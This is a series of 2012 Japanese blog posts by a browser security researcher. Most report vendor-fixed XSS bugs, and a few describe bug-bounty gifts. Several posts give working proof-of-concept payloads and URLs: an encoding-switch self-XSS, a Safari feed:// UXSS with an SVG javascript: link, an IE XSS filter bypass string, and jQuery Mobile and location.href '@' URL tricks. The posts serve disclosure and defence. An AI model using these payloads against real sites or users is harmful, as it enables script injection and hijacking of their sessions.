2012/12/26

GoogleからNexus 10をもらった

日頃の行いがいいので、もらいました!!
ホリデーギフトという名目で、去年はChromebookを貰った(※受け取ったのは2012年なんだけど、話をもらったのは2011年)んですが、今年はNexus 10を頂きました。



タブレット、僕は1個も持ってなくて、ちょうどほしいと思ってたところだったので、嬉しいです!

今年はどちらかというとブラウザの脆弱性を探す方に力を入れていたので、前年よりはGoogleサービスの脆弱性報告はしていなかったのですが、気が向いた時に探したり、ブラウザの問題絡みでGoogleのサービスに影響を与える問題などを報告したりして、まぁそこそこは報告していました。

最近はこんな、上位報告者のリストみたいなのも掲載されてるみたいで、

The "0x0A List" – Application Security – Google
http://www.google.com/about/appsecurity/hall-of-fame/

僕は0x02位らしいです。 結構上位ですね!
来年もまた、何かあげたくなるような貢献ができるよう頑張りたいと思います。

Thank you Google Security Team!!

2012/12/20

エンコーディングの切り替えによるSelf-XSSを考える

以前、こんなXSSの問題がありました。

第6回 先行バイトの埋め込み:本当は怖い文字コードの話|gihyo.jp … 技術評論社
http://gihyo.jp/admin/serial/01/charcode/0006

@hasegawayosuke さんの書いた記事ですね!
ウェブアプリケーションでユーザーが文字を出力できる部分で、マルチバイト文字の先頭にあたるバイト値を与えることで、後続の任意の文字と合わさって、1つの文字として解釈されてしまい、本来のページ構造を破壊してXSSを起こせる場合があるという問題です。
 この問題は、最近まで存在していましたが、現在はブラウザ側で配慮されて、最新のブラウザの広く使われているほとんどのエンコーディングにおいて、エンコーディングとして成立しないようなバイト列が現れた場合は、後続の文字を侵食しないようになっています。

今日は、この問題が解決されてもまだ、エンコーディングにまつわるXSSの問題は全てのブラウザのメジャーなエンコーディングのページで発生しうる、という話をします。特段新しい話ではありませんが、あまり広く話題にあがったこともないと思うので、一度書いてみます。

エンコーディングの切り替えによるセルフXSS

以下のようなページがあったとします。

q="><script>alert(1)</script>\%E3
http://vulnerabledoma.in/selfxss_vulnerable_js?q=%22%3E%3Cscript%3Ealert(1)%3C/script%3E%5C%E3
<script>
var q="\"&gt;&lt;script&gt;alert(1)&lt;/script&gt;\\�"
</script>

「q」パラメータの値が、JavaScriptの文字列リテラルに入るようになっているページです。このページはUTF-8で作られており、みてわかるとおり最低限のXSS対策ができています。というか、最低限どころか、不正なバイトが含まれた場合はU+FFFDにするような処理がアプリケーション側でしてあり、古いブラウザが使用されたとしても、最初に書いたような後続のバイトを侵食することによるXSSが起きないよう配慮してあります。

しかし、もしここに、

(1) 以下のような文字列を与え、

q=く";alert(1)//
http://vulnerabledoma.in/selfxss_vulnerable_js?q=%E3%81%8F%22%3Balert(1)//

<script>
var q="く\";alert(1)//"
</script>

(2) エンコーディングをShift_JISに手動で切り替えた場合、

ほとんどのブラウザ(Firefox/Opera/Chrome/Safari/IEなど)でアラートのスクリプトが動作してしまいます。なぜなら、Shift_JISとしてページを解釈した場合、文字列リテラル中の文字が以下のようになるためです。

q=く";alert(1)//
http://vulnerabledoma.in/selfxss_vulnerable_js?q=%E3%81%8F%22%3Balert(1)//
<script>
var q="縺十";alert(1)//"
</script>

文字が変わった部分を抜き出してみてみましょう。

UTF-8の解釈Shift_JISの解釈
\
0xE3818F0x5C0xE3810x8F5C


Shift_JISにすると、UTF-8でひらがなの「く」を構成する「0xE3818F」の先頭2バイトが、まず「縺(0xE381)」という文字と解釈され、残った「0x8F」が、後続の、二重引用符のエスケープシーケンスである「\(0x5C)」と1つの文字、「十(0x8F5C)」を作ってしまうのです。これにより、エスケープシーケンスがなくなった二重引用符は、そこで文字列リテラルを閉じることになります。こうして、その後ろに書かれたアラートが動いてしまうという訳です。

つまりこれは、攻撃者に誘導され、ユーザー自身が文字エンコーディングを切り替えた場合、本来XSSがないページでもXSSが起こせる場合があるということです。
IE以外のブラウザは、親フレームのエンコーディングを変更した場合、クロスドメインでも子フレームのエンコーディングまで変更するので、こんな誘導の仕方もできます。

http://l0.cm/selfxss_frame_sample/


UTF-8/Shift_JIS どちらにとっても完全に成立するバイトのみで構成されていた場合、もしエンコーディングを切りかえられたら、先行バイト問題に対処したブラウザでも、ブラウザ側で配慮する余地はありません。

 現在は、アドレスバーでのJavaScriptの実行が制限されるなど、ブラウザ側で"ユーザー自身の操作によるXSS(セルフXSS)"も防いでいこうという動きがあります。が、エンコーディング切り替えによるセルフXSSをブラウザ側で対策するのは、ユーザーによるエンコーディングの選択を不能にすることくらいしかできないでしょう。でもそれをすると、文字化けが起きたとき、ユーザーがページを正しいエンコーディングに直すことが難しくなってしまいます。
問題解決に積極的な2つのブラウザベンダにはこの問題を通知しましたが、どちらも「どうしようもないね」というかんじです。

さあ、どうしよう。アプリケーション開発者にとって、ユーザーが文字コードを切り替えて起きる問題なんて知ったこっちゃないというのも正論なんですが、ユーザーにとっても、文字コードを切り替えただけでセキュリティ問題が起きるなんて知ったこっちゃないというのもまた同意できると思います。

アプリケーション側の対策

そんな訳で、アプリケーション側で対策する方法を考えてみました。現在一番よく使われるエンコーディングの、UTF-8のページで、文字列リテラル以外で出力される場合や、Shift_JIS以外のエンコーディングに切り替えた場合に成立する攻撃にも対応できる防御を考えます。今回は他のエンコーディングを用いた具体的な攻撃方法については触れませんが、選択可能なエンコーディングの中には、あるバイト値(あるいはバイト列)を開始点として、終点を示すバイト値(あるいはバイト列)まで0x00-0x7Fの範囲の文字でさえ漢字などに化かしたりする規則のもの(HZ-GB-2312やISO-2022-*など)もあり、一筋縄ではいきません。

現実的にすぐに対応できるのは、一つずつ個別のエンコーディングのことを考えたり、問題が起きるとわかっているページだけ手をうつことよりも、UTF-8以外で表示が行われそうになった場合、表示を停止するようなJavaScriptをページの頭(少なくともユーザー入力を出力するところより前)に書いておくことだと思います。

以下はそのサンプルです。スクリプトが無効の場合でも偽のフォームを出現させたりすれば攻撃は可能でしょうが、今回はひとまず影響が大きいスクリプトが有効の場合のみを考えました。以下でエンコーディングをShift_JISに切り替えて、問題が起きないことを確認してみてください。

q=く";alert(1)//
http://vulnerabledoma.in/selfxss_safe_js?q=%E3%81%8F%22%3Balert(1)//


JavaScriptでエンコーディングがUTF-8かどうかを判定しています。UTF-8以外で表示されようとすると、plaintextタグでそれ以下を無効にします。plaintextタグは閉じられないので、仮にそれ以下に</plaintext>という文字列が現れても問題ありません。

これでほとんどカバーできるはずですが、選択可能なエンコーディングの中で、Chrome/Firefox/Operaで選択できる「UTF-16」だけはこのJavaScriptでは防げません。UTF-16では、2バイトの、1つか2つの連続で1文字を表現するので、防御用のJavaScriptが完全に別の文字に置き換えられ、動作しなくなってしまうためです。
 このページでは、文字列リテラルで「<>」を文字参照に置換しているので問題にならないのですが、「<>」を処理する代わりに「/」を「\/」と出力してXSSに対処しているページでは、そこに[0x00]のバイト値が挿入できるなら、UTF-16が選択された時XSSが起きてしまいます。
イメージとしては以下のようなかんじです。UTF-16(BE/LE)に切り替えてみてください。

(※「% 0 0」を繋げて書き込むと除去されるBloggerのバグを回避するため、リダイレクタを挟んであります。)
http://vulnerabledoma.in/redirect/selfxss_utf16.html

ですので、[0x00]を\u0000などとするか、UTF-16LE/BEにしたときにplaintextタグが現れるよう、間に[0x00]を挟んだものをコメントアウトしておくなどして回避する必要があります。先ほどの防御の例にも一応コメントアウトして、[0x00]が間にはさまれたplaintextタグが含んであるので、UTF-16に切りかえてplaintextタグが現れることを見てみてください。


その他UTF-32など、ASCIIと著しく互換性がないエンコーディングは、少なくとも5大ブラウザでは(解釈できるものはあっても)ブラウザメニューから選択できないので考慮しなくても大丈夫そうです。

本当は止めるだけでなく、ページを正しいエンコーディングに回復させるのが理想的なんですが、 エンコーディングをユーザーから切り替えられた時のブラウザごとの挙動がバラバラなため、事実上不可能だと思います。僕が試した限りで、ユーザーが自ら指定したエンコーディングをサイト側から上書きできないブラウザもあったので、厳しそうです。

他にも、エンコーディングを変更されてもXSSが起きないページ構造にするという方法も考えられますが、変更可能な全てのエンコーディングの規則を考慮してページ全体を構築する必要があり、かなり大変で無駄が多くなりそうです。

まとめ

よほど重要な情報を持っているところでない限り、ここまで神経質に対策する必要はないと思いますが、エンコーディングにはまだこういう問題もあるよ、ということでひとまず書いてみました。

少し前までは、アドレスバーでのJavaScriptの実行はブラウザの機能として当然のものでしたが、今やそれが攻撃に利用され、制限される時代になりました。エンコーディングの切り替えによるセルフXSSも、いつ利用されてもおかしくないと思います。

この問題に対して、何かいい解決策があるという方はぜひコメントやTwitterなどで教えてください。

2012/11/27

CVE-2012-0678: Safariのfeed:// URLのUXSS

Safari 5.1.7で発見し、Safari 6で修正された、feed:// URLのUXSSについて書きます。

http://support.apple.com/kb/HT5400
Safari
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A cross-site scripting issue existed in the handling of feed:// URLs. This update removes handling of feed:// URLs.
CVE-ID
CVE-2012-0678 : Masato Kinugawa

発見の経緯

以前ブログに書いたように、Safariには、URLのホストの前の認証情報文字列をlocation.hrefで取得するとき、中身がパーセントデコードされて取得されるという問題がありました。
僕は、この挙動はブラウザの問題だと思ったのですが、Appleは(最終的には修正したものの一度は)「修正する予定はない」という返事をしてきました。じゃあ、実際にこの挙動で問題が起きる部分をみつけて、ブラウザ側の修正の必要性を示してやろうということで、いろいろなページを@付きURLでアクセスしてまわりました。そのときに発見したのがこの問題です。

どんな問題か

Safariでは、フィードのURLにアクセスすると、

http://masatokinugawa.l0.cm/feeds/posts/default

から、

feed://masatokinugawa.l0.cm/feeds/posts/default

のような、先頭をhttp://からfeed://に変えたURLにリダイレクトし、Safariが独自に生成したフィード用のページを表示します。ちなみにこのURLは僕のブログのフィードのURLです。
このfeed:// URLを、@付きURLにして、少し細工してアクセスしてみると、奇妙なことがおきます。

feed://www.apple.com%2Fpr%2Ffeeds%2Fpr.rss%3F@masatokinugawa.l0.cm/feeds/posts/default






masatokinugawa.l0.cmなのに、@の前に書かれたURLの、Appleのフィードが表示されています。試しにここで、アドレスバーで「javascript:alert(document.domain)」とすると、「masatokinugawa.l0.cm」と表示され、masatokinugawa.l0.cm上でwww.apple.comのフィードが展開されていることがはっきりと確認できます。
通信を監視してみると、以下のリソースをとってきています。

http://www.apple.com/pr/feeds/pr.rss?@masatokinugawa.l0.cm/feeds/posts/default


どうも、feed:// URLでは、@以前の文字列をデコードしたURLを、そのページのフィードとして読み込んでしまうみたいです。

これはつまり、ターゲットのサイトに読み込ませる外部のフィードにスクリプトを書くことができれば、XSSが可能ということになります。

Safariではフィード用ページでのJavaScriptの実行を、スクリプトが実行可能な文字列を除去する形で制限しています。しかし、一部適切に制限できていない文字列がありました。
以下のような文字列を外部のフィードに設定するとjavascript: スキームのリンクをfeed:// URL上に設定できてしまいます。

http://l0.cm/safari_uxss.rss
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:href="javascript:alert(document.domain)">
<rect width="1000" height="1000" />
</a>
</svg>
 さあ、これを含んだフィードをさっきのURLに流し込んでみましょう。

 feed://l0.cm%2Fsafari_uxss.rss%3F@masatokinugawa.l0.cm/feeds/posts/default



オーマイゴッド、ですね!

Safariでホストの前に@が付いたURLにアクセスする時は、デフォルトの設定でフィッシング警告が出ていましたが、不幸なことに、feed:// URLに直接アクセスする場合は@付きURLでも警告が出ません。
ちなみに、ターゲットのページがフィードのURLでなくても、feed:// URLで表示させることができます。つまり以下のように、どんなサイトでもXSSのターゲットにできるということです。

feed://l0.cm%2Fsafari_uxss.rss%3F@www.google.com

feed://l0.cm%2Fsafari_uxss.rss%3F@www.facebook.com

feed://l0.cm%2Fsafari_uxss.rss%3F@twitter.com


MacでSafariのアップデートをしていない方は、早急に最新版にアップデートしましょう。
Windows版ではこのブログ投稿現在、アップデートが提供されていません。
Appleから正式な開発終了の告知は出ていませんが、Mac版のSafari 6の公開から4ヵ月が経とうとしているのに、何の動きもないので、もはやこれ以上開発を継続する気はないと思われます。

Safari 5.1.7にはこれ以外にも複数の脆弱性の存在が確認されており、JVNもWindowsユーザーはSafariの使用をやめるよう勧告しています。
WindowsのSafariユーザーは、使用をやめるよう、僕からもお勧めしたいと思います。

2012/11/15

mixiからキーボードを頂いた

以前から何度かmixiのセキュリティ上の問題を報告していたんですが、最近また新たに問題を報告したところ、お礼を頂けるというお話を頂き、mixi様からキーボードなどを送って頂きました!

↓Happy Hacking Keyboard Professional 2 の特注版だそうです。mキーがmixiのロゴ仕様になっていてかわいいです。



↓ロゴ入りバッグとロゴ入りカラビナも頂きました。





嬉しいです!ありがとうございます。

mixiは"過去の教訓"からか、かなりセキュリティに配慮した作りができていると思います。
例えば、mixiでデコメ付き日記が書けるようになった時に、一部のHTMLタグが日記中で使用できるよう変更されたことがありました。この時XSSを作りこんでるんじゃないかと思ってみてみましたが、使用可能なタグが厳密に制限されており、かなり慎重にやっているなと感じました。今のところこの部分については特に問題をみつけていません。
 それでも他の部分についても全く脆弱性がない訳ではありません。 XSSやオープンリダイレクタ、変わったところでは、他人の日記のコメントを削除できてしまう問題、有料コンテンツを無料で取得できてしまう問題などを過去に報告したことがあります。

mixi様、この度は送って頂きありがとうございました。 大切に使います。
何かくださるという方はご一報ください。次のお届け物をお待ちしております。

2012/11/07

OperaのEUC-TWに存在した潜在的にXSSが可能な問題

安定版Opera 12.10で修正されているのを確認したので書きます。
ベンダは悪用は難しいとして、これをノーマルバグとして扱いましたが、修正前はcharset指定がないページやEUC-TWエンコーディングのページでXSSを引き起こす可能性がありました。


これを見つけた経緯から話すと、僕は以前から、ブラウザがサポートするエンコーディングのページで、「0x22」「0x26」「0x27」「0x3C」「0x3E」「0x5C」("&'<>\)などの特殊な文字がマップされているバイト値を除いた上で、ランダムにバイト列を表示させて、別のバイト列で「"&'<>\」が現れないかチェックするというような、ブラウザのセキュリティバグを発見するためのテストを行っていました。これにより、OperaのEUC-TWで「"<>」などを検出し、この問題を発見しました。

実はこの手法で他のブラウザでもいくつかの問題を検出していました。(この詳細はタイミングをみてまた今度書きます) それらはどれも、ある固定のバイト列で、現れてはいけない文字が現れてしまうというもので、僕もそれを想定してやってた訳なんですが、このOperaのEUC-TWだけは、検出後に同じバイト列を使って再現させようとしてもなぜか一度は検出したはずの文字が現れず、うまくいきませんでした。

調査を続けていくと、どうも特定のバイト列が、時折文字を変えつつ、ほぼランダムな文字を返してくるということがわかりました。
そのバイト列周辺を並べたのがベンダへの報告時にも使った以下のページです。

 http://l0.cm/o_euc-tw_a1xx

ここの、0xA181-A1A0によくわからない値がくるのです。
0xA181-A1A0 はEUC-TWにおいて本来は使われないバイト列であるみたいなんですが、どうも処理が狂っているようです。(12.10では不正であるとしてU+FFFDが2つ現れます。)

さらにみていくと、たまに目に見えて意味のある文字列が返ってきていることに気が付きました。





これだけでどうみてもバグってるし、場所もはっきりしたのでもう十分バグ報告してもいいんですが、何度か「"&'<>\」を検出してる訳なので、セキュリティ上の脅威になるかどうかをちゃんと調べようと思ってさらにみていきました。
すると、バイト列には、たまに、自分が表示しようとしているHTMLの内容を含んでいる場合があるということにも気が付きました。ページ下部に「<」(0x3C)を大量に並べたところ、以下のようになったことがありました。





この時点で、このバイト列に、認証を済ましたページで表示された文字が含まれるなどすれば、情報が漏洩しうることになるので、セキュリティバグと言えるでしょう。ただ、僕はXSSがしたいのでまだ続けます。

ここで得られた文字から考えると、0x00 0x3C 0x00 0x3C....と書いておけば「<」が得られそうです。実際何度かそのようにして試していると「<」が得られました。
この方法で確かにXSSができることは確認しました。ただ、たまに「<」のような問題のある文字を現れさせることはできても、確実に出現させる方法がわかりませんでした。また、このバイト列に一度「"&'<>\」などが現れても、何かの拍子に中身が変更されてしまう場合が頻繁にあることなどから、安定して攻撃に使う方法を見つけられずにいました。

EUC-TWは、他のメジャーブラウザでもほとんどサポートされていないエンコーディングなので、ウェブページの表示にはまず使われていないのではないかと思います。そんな重箱の隅をつついて何の意味があるんだと思うかもしれませんが、Operaには、charset指定のないページをフレームに埋め込むと、親フレームの文字コード指定をクロスドメインでも継承するという挙動があるため、看過できません。(これはめんどうくさいWebセキュリティのp281にも書いてあります。Opera 12.02でこのページを見るとフレーム中にiso-2022-jpと表示されるはずです。この挙動は12.10では修正されているように思いますが、@masa141421356さんによるとまだ条件によっては継承するみたいです。) これを利用すれば、EUC-TWで見ることを想定していないcharset指定がないページでも、ある程度バイト列を自由に出力できるなら、問題のバイト列を挿入してXSSを起こすことができます。

攻撃は安定的にはできないものの、一応情報も漏洩するしXSSも可能なので、まぁセキュリティバグだろうと、このフレームによる継承の手法も含めて報告しました。が、Operaのベンダ的にはノーマルバグだそうです。
Operaの脆弱性のCVE番号をゲットすれば、「5大ブラウザのCVE番号をゲットする」のアチーブメントをアンロックできるんですけど、なかなか難しいですね。また挑戦します。

2012/10/16

ホストの前に文字が置けることを忘れるな

今日は、 そもそもホストの前に任意の文字列を置けるということを忘れていると、うっかりそこにJavaScriptで触ってしまった時に問題が起こる場合があるよね、という話をします。
以前紹介したlocation.hrefの問題に似ていますが、今回取り上げているのは文字列がデコードされることにより起きうる問題ではなく、文字列が取得されることで起きうる問題についてです。
 
まずは、様々な形でJavaScriptでURLを確認できるスーパーウェブサイトを用意致しましたので、ホストの前に文字列を含むURLが、どの値で取得されているかを実際に見てみてください。

http://user:pass@vulnerabledoma.in/location/

(※このページはURLをそのまま書きだしているため、当然DOM based XSSがありますが 、その挙動も含めて確認できるようにする目的があるので、あえてそうしています。良い子はこのようなコードを書くべきではありません。)


いろいろなブラウザでアクセスすると、様々な違いがあることがわかると思います。

まず、アクセスするところから違いがあります。
Chrome/Operaは何事もなくアクセスします。Firefoxは認証情報をもってアクセスする旨のプロンプトが出ます。Safariはデフォルトの設定でフィッシング警告が出ます。IEはそもそもアクセスできません(ので、今回は、珍しくIEの出番が早くもここで終了です!!!!!)。

取得された@の前の値を見ていきます。
Firefoxはlocation.*以外のURL全体を取得するような値で、user:passが取得できています。
Chromeは、全てのURL全体を取得するような値で、@の前の文字列を全て取得できています。
SafariもChromeと同様、全てのURL全体を取得するような値で@の前の文字列を取得していますが、値によってパスワード部分を含んだり、含まなかったりしています。
Operaはdocument.URLのみ@の前の文字列を含んでいますが、パスワードの部分はマスクされて取得されています。

見事にバラバラですね。他の値についても結構バラバラで、注意すべき点があるので、今回はその点には触れませんが、興味がある人は見てみてください。

さて、いろいろ見てきましたが、いちいちこのブラウザのこの値では@の前の文字列がデコード/エンコードされてこの部分が取得されて~~って覚えましょうと提案している訳ではありません。
今回覚えておいてほしいのは、ホストの前に文字を置くことができ、それはJavaScriptで取得されるということです。特に、使用頻度が高い「location.href」で、Chrome/Safariにおいて、@の前の文字列が取得される点は注意が必要だと思います。忘れるとこういうことになるかもしれません:




ここでアラートを出しているのは、Googleが404ページにどうぞと提供しているJavaScriptに存在していたXSSによるものです。このJavaScriptファイルを読み込んでいただけで、設置サイトのドメイン上で動作するXSSの穴をあけてしまっていました。どこに問題があったかは、この画像のフレームが挿入されている部分と、このjsを設置した以下のサイトを見比べればわかると思います。

 http://vulnerabledoma.in/wm404.html

フレームが挿入されているところに「vulnerabledoma.in のページを検索:」と、ホストを書きだしている部分があります。そうです、このホストを書きだす部分の処理で、ホストの前に@で文字列が置けることを意識していなかったため、@の前までもがホストとして書き出され、XSSが起きてしまったという訳です。強調しておきますが、スクリーンショットのXSSがChromeで動いているように、これはSafariのlocation.hrefがデコードされる問題とは関係なく起きた問題です。

という訳で、ホストの前に文字を置くことができ、それはJavaScriptで取得されるということを忘れないで、location.hrefのようなURL全体を取得する値を使うようにしましょう、というお話でした。以前location.hrefのブログを記事にした時に、@uu59さんが指摘されていたこんなのもあり得そうなミスですね。

ちなみに、このGoogleの提供する404ページのJavaScriptの問題は、2012年3月12日に報告し、しばらくして修正されました。この報告の報酬として$1,337をもらっています。

2012/10/10

DropboxからTシャツを頂いた

脆弱性報告の謝礼に、DropboxからTシャツを頂きました!ありがとう!





Tシャツのデザイン、あまりにも予想通りすぎる…!
Tシャツ以外にも、Dropboxの容量200GBを頂きました。

この調子でTシャツに困らない生活を送りたいと思います。

2012/10/03

EtsyのBug Bounty Program

最近脆弱性の発見者に報酬を支払う制度を設けたEtsyというサービスにいくつか脆弱性を報告しまして、(まだ支払われていませんが)賞金とTシャツとステッカー(2枚)とピンバッジ(2個)を頂きました!ありがとうございます。



ここに名前がリストされています。

ウェブアプリケーションの脆弱性に対し報酬を支払う制度を設けるところが、Googleから始まり、Mozilla、Facebook、Paypal、Etsyと続けて出てきましたね。僕のようなバグハンターには嬉しいことだし、サービス提供者にとっても手っ取り早くセキュリティを高める合理的で最適な方法だと思います。日本のサービスでも早くはじめてください!

2012/09/25

ブラウザのXSS保護機能をバイパスする(3)

第3弾です。第1弾はこちら。第2弾はこちら

ターゲットはIEのXSSフィルターです。
今回のバイパスは、本来作成できてはならないjavascript:スキームのリンクをIEのXSSフィルターの挙動を利用して作成するという方法で行います。

いきなりですが、発見した方法はこれです。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

何がどうしてここにたどりついたのか、順に見ていきます。

IEは「<a href="javascript:alert(1)">xxx」のような文字列がクエリ文字列にあり、その文字列がページ中に出力されるなら、その出力の一部を書き換え、XSSを遮断しようとします。

http://vulnerabledoma.in/xssable?q=%3Ca%20href%3D%22javascript:alert%281%29%22%3Exxx
<a href="javasc#ipt:alert(1)">xxx

「javascript」の「r」を「#」に書き換えています。
小さくしていくと以下でも遮断されます。

 http://vulnerabledoma.in/xssable?q=javascript:1
 http://vulnerabledoma.in/xssable?q=javascript%26%23x3A%3B1
javasc#ipt:1
 「javascript」「コロン」「文字」というような組み合わせで遮断されるようです。

他の挙動も見ていきます。
IEは<script>タグの文字列リテラル中に出力されるようなXSSも遮断しようとします。

http://vulnerabledoma.in/xss_js?q=%22%3Balert(1)//
<script>var q="";alert#1#//"</script>
()が「#」に書き換えられています。
()が使えないなら、()を使わずに「";location.href='javascript:alert\x281\x29'//」とかでいけるんじゃないかと考えるのが我々XSSerです。

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href='javascript:alert\x281\x29'//
<script>var q="";lo#ation#href='javasc#ipt:alert\x281\x29'//"</script>

これもお見通しのようです。「location」の一部と、その後のドット、そして「javascript:」の部分が先ほどのように書き換えられています。

これを小さくしていくと、以下のようなものでも反応します。

http://vulnerabledoma.in/xss_js?q=%22%3Bx.x=
<script>var q="";x#x="</script>

「引用符」「区切り文字」「文字」「ドット」「文字」「=」というような組み合わせで、ドキュメント中の既存の<script>タグ内になんらかの代入を行おうとしているとみなされ、ドットが「#」に書き換えられるようです。
じゃあ「";&.x=」なんてのはどうなんでしょうか。

 http://vulnerabledoma.in/xss_js?q=%22%3B%26.x=
<script>var q="";&#x="</script>
これもドットを「#」にしています。「&#x」、おっと!何かが見えてきました!!

「&#x」という形が作れるということは、もし遮断後にaタグのhrefにこの形を配置できた場合、「&#x3A;」というような形も作れるということになります。
ボディになんの処理もなく出力されるXSSの場合に戻り、これを試してみます。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3D%22javascript%26.x3A%3Balert%281%29//=%22%3Exxx
"<a href="javascript&#x3A;alert#1#//=">xxx
おおお!javascript:という形のスキームを配置できてしまいました。
最初の「"」で区切っているフリをし、後半の「=」で代入しているフリをします。 これにより、<script>タグの文字列リテラル中の遮断ルールが発動するようにしています。

まだ()が遮断されて「#」になっているので、これらも同じようにそれぞれの()の前後に「&」「x28;/x29;」を配置して数値文字参照が現れるようにします。

 http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

"<a href="javascript&#x3A;alert&#x28;1&#x29;//=">xxx

ドカーン!

というかんじでたどりつきました。

ワンクリックで発動するリンクを作成できるようになるという点では、以前ブログに書いた同一オリジンからのリンクを作成してバイパスする方法と同等の問題にみえます。しかし、無害なものを有害なものに書き換えるという点で、以前のそれよりもタチが悪いものであると思います。

例えば以下は一応、XSSのない、ただの相対リンクが設定されただけの静的なページですが、

http://vulnerabledoma.in/ie_xssfilter.html
'<a href="javascript&.x3A;alert&(x28;1&)x29;//=">just a relative URL</a>

以下のようにURLに文字列を付加することで、XSSフィルターがjavascript:のURLに変化させてしまいます。

http://vulnerabledoma.in/ie_xssfilter.html?%27%3Ca%20href=%22javascript%26.x3A;alert%26%28x28;1%26%29x29;//=%22%3E
'<a href="javascript&#x3A;alert&#x28;1&#x29;//=">just a relative URL</a>

ただ、大抵の場合、保護すべきドメインの自由にリンクを設定できる箇所に「&」を何も手を加えず出力できるということは、「javascript&#x3A;alert(1)」というようなjavascriptを起動可能なURLを始めから設定できる可能性が高いことになる(=はじめからXSS脆弱性がある)ので、この方法によって新たにXSSが可能な穴をあけてしまうケースは、実際のところそう多くないのではないかと思います。

そうはいっても、遮断後に起きている誤りなので、明らかにXSSフィルターの欠陥であるといえます。しかも、トリッキーなものではなく、ごく普通にある脆弱パターンの遮断に失敗している点でよくありません。
改善を期待したいところです。

2012/09/06

jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

例えば、以下のようなURLでXSSが起こります。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記 1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0/#//l0.cm/jqm


2012/08/02

location.hrefの盲点

夏ということで、怖い話をします。 Webアプリケーション開発者の皆さん、聞いて下さい。
時間がない人や、他の人に問題を説明するときなどには簡潔にまとめた版をどうぞ。

 これは2011年12月27日にAppleに報告したSafariの問題です。Appleからは修正する予定はないという回答を貰っていましたが、2012年7月25日にリリースされたMacのSafari 6のアドバイザリによるとどうもMacのSafari 6では修正されたようです。

About the security content of Safari 6
http://support.apple.com/kb/HT5400
WebKit
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A canonicalization issue existed in the handling of URLs. This may have lead to cross-site scripting on sites which use the location.href property. This issue is addressed through improved canonicalization of URLs.
CVE-ID CVE-2012-3695 : Masato Kinugawa
 
Windows版Safariで確認した問題でしたが、今のところWindows版のアップデートは出ていません。Windows版が出るまでは書くのを控えるつもりでしたが、MacのSafari 6がリリースされてから1週間経ってもAppleからは出すか出さないかの告知さえ無いので、もう書いてしまいます。

このようなコードがあったとします。


http://vulnerabledoma.in/webkit_locationhref/
<button onclick="location.href=location.href">reload</button>

location.hrefにlocation.hrefを代入するだけの単純なコードです。リロードされると思うのが普通だと思います。しかしながら、Safariではそうならないときがあるのです。以下のようなURLで、example.comへとばされます。

http://example.com%2F@vulnerabledoma.in/webkit_locationhref/

なぜこんなことが起きるかというと、上のページで、document.writeされているlocation.hrefに注目してください。@の前の「%2F」が「/」にデコードされて表示されています。そうです、なんと、Safariのlocation.hrefは、ホストの前の@の前の文字列をパーセントデコードして返すのです。(@がついたURLはあまり目にしませんが、@の前には認証情報を記述することができます。)
これはつまり、location.hrefが自分と同じドメインのURLを返すことを前提に書いているコードは全て、正しく動かない恐れがあるということです。最悪の場合、XSSが起こります。実際にこの挙動によって引き起こされるXSSを、Googleのサービスでいくつかみつけています:






これはほんの一部です。location.hrefを使って取得したURLから新たに通信をしようとした時に、誤ったホストからリソースを読み込んでしまいXSSを起こしてしまうケースが多くみられました。(どれも既に修正されています。ちなみにGoogleはこれをSafariのバグとみなしているので、報酬は報告した数ではなく、この挙動の情報提供として特別に$1,000を貰っています。)

幸いSafariでは、ホストの前に@を含むURLにアクセスしようとすると、設定を変更していなければフィッシングの警告画面が出ます。よって、もしこの問題を利用したXSSのURLを踏まされても、警告が出て不安になって引き返すユーザーが多いかもしれません。しかし、これはあくまでもフィッシング警告(@の前の文字列がホストだと思わせるようにURLが細工されているかもしれないことを警告しているだけ)であり、XSSの警告ではありません。

